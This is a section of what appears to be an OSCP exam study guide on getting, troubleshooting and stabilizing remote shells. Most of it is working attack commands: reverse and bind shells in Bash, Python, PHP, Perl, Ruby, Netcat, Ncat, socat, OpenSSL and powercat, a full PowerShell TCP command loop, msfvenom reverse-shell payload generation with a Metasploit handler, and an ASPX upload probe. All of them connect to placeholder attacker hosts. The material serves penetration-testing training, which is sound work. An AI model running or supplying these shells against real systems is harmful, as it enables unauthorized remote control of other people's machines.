9.4.2 Shells, Payloads and Session Repair
← Stage index | Public-exploit adaptation | File transfer | Payload obstacles | Shell cheatsheet | Strategy map | Study methods: Establish sessions and move files; Resolve payload execution obstacles
Goal: turn verified command execution into a session whose execution, transport and interaction properties are understood. Every command is a generic authorized-lab reference, not a target assignment.
9.4.2.1 Keep four states separate
delivery → execution → connection → usable session
| State | Decisive evidence | Does not yet prove |
|---|---|---|
| Delivery | Exact bytes/request reached intended consumer | Payload executed |
| Execution | Harmless command output or controlled side effect | Network callback works |
| Connection | Listener records the expected peer | Commands and I/O are usable |
| Session | Commands return and host/identity are verified | Higher privilege or stability |
Do not change all four layers at once. Preserve the last confirmed state and test the next boundary.
9.4.2.2 Choose the access form
| Situation | Prefer | Main prerequisite / limitation |
|---|---|---|
| One bounded action is enough | Direct command execution | Observable output or side effect; no shell required |
| Valid credential and remote service | SSH, WinRM or RDP | Authentication plus remote-logon authorization |
| Target can reach Kali | Reverse shell | Target egress and a reachable Kali listener |
| Kali can reach a target listener | Bind shell | Target can bind and inbound path permits it |
| Payload is staged or protocol-aware | Matching framework handler | Handler must use the exact payload/transport |
Prefer authenticated administrative access when it is already available: it is normally more stable, auditable and feature-complete than an improvised shell.
9.4.2.3 Map the callback before generating anything
trigger context
→ target process/interpreter and architecture
→ target source interface
→ route/egress controls
→ LHOST address visible from target
→ LPORT
→ local bind interface
→ listener/handler
Select LHOST from the target's point of view. A VPN address, tunnel endpoint or reachable interface may be correct while Kali's default-route address is wrong.
On Kali:
ip -brief address
ip route
ss -lntp
Windows source/listener checks:
Get-NetIPAddress -AddressFamily IPv4
Get-NetRoute -AddressFamily IPv4
Get-NetTCPConnection -State Listen
9.4.2.4 Start a listener that matches the expected callback Listener baselines and Netcat variants
Traditional/OpenBSD-style nc commonly used on Kali:
rlwrap nc -lvnp LPORT
Nmap Ncat uses a positional listen port; do not mechanically copy every nc flag:
ncat -4 -lvn 0.0.0.0 LPORT
Verify the bind in another terminal:
ss -lntp | grep ':LPORT'
If multiple interfaces exist, bind deliberately:
ncat -4 -lvn LHOST LPORT
Failure cue: a listener bound only to
127.0.0.1, the wrong VPN/interface address or the wrong address family cannot receive the expected callback. “Address already in use” means another process owns the bind.
9.4.2.5 Prove command execution before requesting a shell
Linux:
id; hostname; pwd
Windows:
whoami & hostname & cd
For blind execution, use one bounded callback or file side effect that the current context can produce and you can independently observe. Do not interpret a hung HTTP request as proof of a shell; the server may simply be waiting on a child process or timeout.
9.4.2.6 Obtain a Linux shell through a supported reverse connection Linux reverse-shell baselines
Choose an interpreter that you confirmed exists.
Bash TCP:
bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'
Python 3 with a PTY:
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("LHOST",LPORT));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'
Portable FIFO plus Netcat when -e is absent:
rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc LHOST LPORT >/tmp/f
PHP CLI:
php -r '$s=fsockopen("LHOST",LPORT);exec("/bin/sh -i <&3 >&3 2>&3");'
9.4.2.6.1 Variant — target has Ncat command execution
Linux:
ncat LHOST LPORT --exec /bin/sh
Windows:
ncat.exe LHOST LPORT --exec cmd.exe
--exec exposes the named program directly to the network connection. Use only on the assigned host and remove transferred tooling when the exercise requires cleanup.
Shell-language cue: a command injection may execute through
/bin/sh, which does not understand every Bash construct. Wrap Bash-specific syntax inbash -c '...'and then encode it for the outer HTTP/template/database layer.
9.4.2.7 Obtain a Windows command session through a supported channel Windows session options
Prefer an available authenticated service:
evil-winrm -i TARGET -u USER -p 'PASSWORD'
xfreerdp /v:TARGET /u:'DOMAIN\USER' /p:'PASSWORD' /cert:ignore
ssh -p PORT USER@TARGET
PowerShell TCP shell when direct command execution is the only primitive:
$client = [Net.Sockets.TcpClient]::new('LHOST',LPORT)
$stream = $client.GetStream()
$buffer = New-Object byte[] 65535
while (($count = $stream.Read($buffer,0,$buffer.Length)) -gt 0) {
$command = [Text.Encoding]::ASCII.GetString($buffer,0,$count)
$output = (Invoke-Expression $command 2>&1 | Out-String) + "PS $((Get-Location).Path)> "
$bytes = [Text.Encoding]::ASCII.GetBytes($output)
$stream.Write($bytes,0,$bytes.Length)
$stream.Flush()
}
$client.Close()
This is a basic command channel, not a ConPTY. Host policy, language mode, AMSI/antimalware, quoting and the parent process can affect it.
PowerShell -EncodedCommand solves nested quoting; it is not encryption or an AV bypass. Generate UTF-16LE Base64 locally:
$command = 'COMMAND'
$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($command))
$encoded
Invoke in the target command context:
powershell.exe -NoProfile -NonInteractive -EncodedCommand BASE64_UTF16LE
9.4.2.8 Connect to a shell listening on the reachable target Bind shells
Use a bind shell only when Kali can reach a target listener and reverse egress is unavailable.
Traditional Netcat with -e support on a Linux target:
nc -lvnp PORT -e /bin/sh
Connect from Kali:
nc -nv TARGET PORT
FIFO alternative when -e is absent:
rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc -lvnp PORT >/tmp/f
Ncat target listener:
ncat -4 -lvn 0.0.0.0 PORT --exec /bin/sh
Bind shells expose a target port and may be blocked by the host firewall or upstream ACL. A successful local bind does not prove Kali can reach it.
9.4.2.9 Generate payloads after selecting context
List rather than guess names and formats:
msfvenom -l payloads | grep -E 'linux|windows' | grep -E 'x64|x86'
msfvenom --list formats
msfvenom -p PAYLOAD_NAME --list-options
Stageless command-shell binaries:
msfvenom -p linux/x64/shell_reverse_tcp \
LHOST=LHOST LPORT=LPORT \
-f elf -o shell.elf
msfvenom -p windows/x64/shell_reverse_tcp \
LHOST=LHOST LPORT=LPORT \
-f exe -o shell.exe
Verify the resulting artifacts:
file shell.elf shell.exe
sha256sum shell.elf shell.exe
msfvenomdoes not make a payload compatible with the delivery path. Match target OS, process architecture, payload type, output format, available execution method and callback route.
9.4.2.9.1 Staged versus stageless
stageless: complete payload delivered at once; larger, usually simpler and more stable
staged: small first stage connects and retrieves the rest; smaller initial footprint, needs matching handler and second transfer
Metasploit naming commonly reflects the distinction:
windows/x64/shell_reverse_tcp stageless
windows/x64/shell/reverse_tcp staged
A raw Netcat listener can receive many ordinary stageless command shells. A staged payload normally needs multi/handler configured with the exact same payload:
msfconsole -q
use exploit/multi/handler
set payload PAYLOAD_NAME
set LHOST LHOST
set LPORT LPORT
show options
run
A connection to Netcat with no usable commands can mean a staged payload reached a non-staging listener. It is not necessarily failed code execution.
9.4.2.9.2 Existing-PoC payload constraints
Only when an existing reviewed PoC documents payload space and bad characters:
msfvenom -p PAYLOAD_NAME \
LHOST=LHOST LPORT=LPORT \
-f FORMAT -v VARIABLE \
-b 'BAD_CHARACTERS' \
-s MAX_SPACE
Encoders and repeated encoding do not guarantee antimalware evasion. -b is for bytes that the vulnerable input path cannot preserve; do not invent a universal bad-character list.
9.4.2.10 Diagnose quoting and encoding by layer
Write the parser chain explicitly:
HTTP/SQL/template parser
→ application language
→ command launcher (`system`, `cmd /c`, `/bin/sh -c`, PowerShell)
→ target shell/interpreter
→ payload command
Test each layer with a small command. Encode only for the layer that consumes the characters:
python3 -c 'import urllib.parse; print(urllib.parse.quote("COMMAND"))'
Typical failures:
&,|,>,<,$, backticks, quotes or spaces consumed by an outer shell;- URL decoding occurs zero, one or two times;
- JSON, XML, SQL or template quoting changes the command;
- PowerShell receives UTF-8 Base64 instead of required UTF-16LE;
- payload length exceeds a field, command line or exploit buffer;
- 32-bit payload is injected into a 64-bit context or the reverse.
9.4.2.11 Diagnose a missing callback in order
- Delivery: prove the request/file/argument reaches the intended consumer.
- Execution: prove
id/whoami, hostname or a bounded side effect in the exact context. - Parser: verify quoting, encoding, interpreter, working directory and length.
- Payload: confirm OS, architecture, format, staged/stageless type and dependencies.
- Listener: start it first and verify the bound address and port.
- Route: test target-to-listener reachability from the execution context.
- Security control: use concrete errors, quarantine, logs or process behavior.
- Session: repair TTY, buffering, encoding and job control after connection.
Target-side route checks where available:
nc -vz LHOST LPORT
curl -v --connect-timeout 5 http://LHOST:LPORT/
Test-NetConnection LHOST -Port LPORT -InformationLevel Detailed
Observe Kali while triggering:
sudo tcpdump -ni any tcp port LPORT
Interpretation:
| Observation | Next decision |
|---|---|
| No SYN reaches Kali | Wrong execution, LHOST, route, egress or earlier parser layer |
| SYN arrives; no listener response | Wrong bind/interface/port or local firewall |
| TCP handshake then immediate close | Payload/handler mismatch, crash or security control |
| Connection stays but no commands | Staged/raw mismatch, buffering or I/O/session issue |
9.4.2.12 Handle security-control evidence proportionately
Windows Defender status, when the current identity can query it:
Get-MpComputerStatus |
Select-Object AntivirusEnabled,RealTimeProtectionEnabled,BehaviorMonitorEnabled,IoavProtectionEnabled
Do not label every failure “AV.” Differentiate:
- file never arrived or hashes differ;
- file arrived and disappeared/quarantined;
- process creation was denied;
- script content was blocked;
- process started and exited/crashed;
- callback was blocked after execution;
- application-control or language-mode restrictions;
- ordinary format, architecture, permission or dependency errors.
Prefer an already available native or authenticated route when it satisfies the objective. Encoding is transport representation, not proof of evasion. Custom shellcode development and deep AV-bypass work are outside this unit.
For MOTW/Office/Library-file delivery, execution-policy precedence, AMSI/AppLocker/Defender evidence and restricted Metasploit module/session handling, continue with payload execution obstacles.
9.4.2.13 Stabilize a Linux TTY
First obtain a PTY with an available interpreter:
python3 -c 'import pty; pty.spawn("/bin/bash")'
Press Ctrl-Z locally, then:
stty raw -echo; fg
Back in the remote shell:
reset
export TERM=xterm-256color
stty rows 40 columns 120
If the local terminal becomes unreadable, restore it from a separate/local shell:
stty sane
Socat can provide a stronger PTY when present on both sides:
9.4.2.13.1 Kali
# Kali
socat file:$(tty),raw,echo=0 tcp-listen:LPORT,reuseaddr
9.4.2.13.2 Target
# Target
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:LHOST:LPORT
TTY repair changes terminal behavior, not privilege or network reliability. A PTY may enable job control and programs that require a terminal; it does not turn a fragile route into a stable one.
9.4.2.14 Verify every new session
Linux:
hostname; id; pwd
ip addr; ip route
ss -lntup
Windows:
hostname
whoami /all
cd
ipconfig /all
route print
netstat -ano
Record the destination host, actual identity, privilege, current directory, interfaces/routes, parent/execution context and the exact command that produced the session. Then re-enumerate from the new state.
9.4.2.15 Choose the next check from the failure you observed Failure router
| Symptom | Interpretation / next action |
|---|---|
| Direct command fails | Repair exploit/request/parser before payload work |
| Direct command succeeds, no SYN | Correct payload, LHOST, interpreter or egress |
| Listener absent/wrong bind | Bind before trigger and verify with ss |
| Connection to raw listener, no I/O | Check staged payload or buffering |
| Immediate disconnect | Check process crash, handler/payload match and exit behavior |
| Shell lacks job control | Spawn PTY and repair local terminal state |
| Arrow keys/control characters break | Correct PTY, raw mode and TERM |
| Windows shell output is garbled | Check code page/encoding and payload channel |
| File vanishes after transfer | Gather quarantine/security-control evidence |
| Works once, not again | Check single-use listener, service crash, cleanup and trigger state |
9.4.2.16 Exam boundary
The current OSCP+ guide permits msfvenom and exploit/multi/handler against all targets, but Meterpreter and Metasploit Auxiliary/Exploit/Post modules become locked to one selected target. Metasploit pivoting is prohibited. AI chatbots are prohibited during the actual exam. Recheck the current guide before a mock or exam.
9.4.2.17 Powercat — Windows PowerShell shell transport
Use when a reviewed powercat.ps1 is available and the current PowerShell context permits it. Keep the listener and target connection direction explicit.
# Attacker: listener
nc -lvnp LPORT
# Target: load the local reviewed script and connect back
. .\powercat.ps1
powercat -c LHOST -p LPORT -e cmd.exe
Read: a connection is not yet an identity proof; run hostname/whoami in the resulting channel. Script-policy/AV/runtime failures → use the existing native transfer and shell alternatives. Powercat does not repair a missing callback route.
Sources: upstream 1.
9.4.2.18 Penelope or pwncat-cs — handle an existing shell and move files
Choose one handler when its basic session/transfer features fit your platform. pwncat-cs assumes Linux unless configured otherwise; these are not interchangeable names for every similarly named pwncat project.
9.4.2.18.1 Basic reverse-shell listener with pwncat-cs
# Basic reverse-shell listener with pwncat-cs
pwncat-cs -lp LPORT
9.4.2.18.2 Alternative: open Penelope's current CLI help, then select its listener port
# Alternative: open Penelope's current CLI help, then select its listener port
penelope --help
penelope -p LPORT
In pwncat-cs's local prompt, use only the operation needed:
download /REMOTE/FILE ./LOCAL_FILE
upload ./LOCAL_FILE /REMOTE/FILE
back
For Penelope, F12 detaches a PTY session to its menu; interact SESSION_ID returns to it. Verify uploaded bytes and the target identity after reconnecting. Optional modules can fetch/run additional tools or exploitation features; they are separate actions and are not part of this basic handler workflow.
Sources: upstream 1 · upstream 2.
9.4.2.19 Keep listeners and long-running checks in tmux
Use on your own attack workstation to retain a working listener or pspy view while switching terminals. A tmux pane is not a second target shell unless you create/connect one.
9.4.2.19.1 tmux new-session -s oscp
tmux new-session -s oscp
tmux list-sessions
tmux attach-session -t oscp
9.4.2.19.2 Capture existing pane history from another terminal; not a full session recorder
# Capture existing pane history from another terminal; not a full session recorder
tmux capture-pane -p -S - -t oscp:0.0 > pane-history.txt
Within tmux: Ctrl-b then d detaches; Ctrl-b then c creates a window; Ctrl-b then w selects one. Read: scrollback capture only contains retained history. Continue saving raw scanner/tool output and proof explicitly rather than relying on terminal history alone.
Sources: upstream 1.
9.4.2.20 ASPX handler check before generating a Windows payload
Use only when you can place a file at a path served by an ASP.NET handler. A static upload on IIS, classic ASP, PHP or ASP.NET Core does not automatically execute ASPX pages.
<%@ Page Language="C#" %>
<% Response.Write(System.Security.Principal.WindowsIdentity.GetCurrent().Name); %>
Save as a uniquely named test ASPX file, upload through the verified write primitive, then request its actual stored URL:
curl -i http://TARGET:PORT/ACTUAL_PATH/probe.aspx
Read: the process identity, rather than literal source or a file download, verifies server-side handling. Then use the matching ASPX/Windows payload generation already covered here, with the correct runtime/architecture and return route. Delete the test artifact after validation.
Sources: upstream 1.
9.4.2.21 Shell alternatives when the installed runtime changes
Choose one matching the actual target runtime and a reachable listener. These alternatives retain the current execution identity; they do not create privilege by themselves.
9.4.2.21.1 Attacker
# Attacker
nc -lvnp LPORT
9.4.2.21.2 Target: BusyBox build with the optional nc -e feature
# Target: BusyBox build with the optional nc -e feature
busybox nc -e /bin/sh LHOST LPORT
9.4.2.21.3 Target: Perl with Socket support
# Target: Perl with Socket support
perl -e 'use Socket;$i="LHOST";$p=LPORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,"<&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'
9.4.2.21.4 Target: Ruby with its socket library
# Target: Ruby with its socket library
ruby -rsocket -e 's=TCPSocket.new("LHOST",LPORT);exec("/bin/sh","-i",in:s,out:s,err:s)'
Read: check hostname/id after connecting, then use the existing PTY stabilization steps. Missing runtime, unsupported BusyBox options or a blocked return path → choose a supported transport instead of repeatedly changing the shell command. A noninteractive process can execute correctly while lacking a terminal.
Sources: upstream 1 · upstream 2 · upstream 3.
9.4.2.22 OpenSSL transport when a TLS callback is useful
Use when OpenSSL exists on both ends and the actual route permits the chosen listener. TLS is a transport choice, not a fix for an unreachable destination.
9.4.2.22.1 Attacker: create a short-lived local test certificate, then listen
# Attacker: create a short-lived local test certificate, then listen
openssl req -x509 -newkey rsa:2048 -nodes -days 1 \
-subj '/CN=listener' -keyout listener.key -out listener.crt
openssl s_server -quiet -accept LPORT -cert listener.crt -key listener.key
9.4.2.22.2 Target: connect a shell through the FIFO and TLS client
# Target: connect a shell through the FIFO and TLS client
mkfifo /tmp/shell-pipe
/bin/sh -i < /tmp/shell-pipe 2>&1 | \
openssl s_client -quiet -connect LHOST:LPORT > /tmp/shell-pipe
Read: verify the session identity and preserve the working channel. This example does not authenticate the listener certificate. A TLS handshake failure, a refused socket and a missing shell are different failures. Use a unique writable FIFO path and remove the test pipe after the session.
Sources: upstream 1 · upstream 2.
9.4.2.23 Sources
- Supplied PEN-200 pp257-259, Ch 13-14 pp375-415, Ch 15 pp416-441 selectively, Ch 19 PTY examples and Ch 21.2 pp671-683
- Current OSCP+ Body of Knowledge
- Current OSCP+ exam guide
- Metasploit msfvenom documentation
- Ncat basic usage and command execution
- PowerShell command-line documentation
- Microsoft Defender
Get-MpComputerStatus - getSH Useful Stuff and Tool Cheatsheet, source snapshot
e1f62dd